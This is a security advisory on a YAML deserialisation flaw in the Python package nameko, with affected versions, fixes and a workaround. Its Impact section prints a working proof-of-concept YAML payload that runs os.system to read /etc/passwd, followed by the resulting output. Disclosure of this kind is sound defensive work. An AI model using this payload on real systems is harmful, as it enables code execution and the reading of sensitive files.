GHSA-6p52-jr3q-c94g Nameko Arbitrary code execution due to YAML deserialization

• PyPI nameko: < 2.14.0 → fixed in 2.14.0 • PyPI nameko: >= 3.0.0rc0, < 3.0.0rc10 → fixed in 3.0.0rc10

Impact Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example: ``` yaml malicious.yaml !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')" ``` ``` shell $ nameko run --config malicious.yaml test root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ... ``` Patches The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release. Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable. Workarounds The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.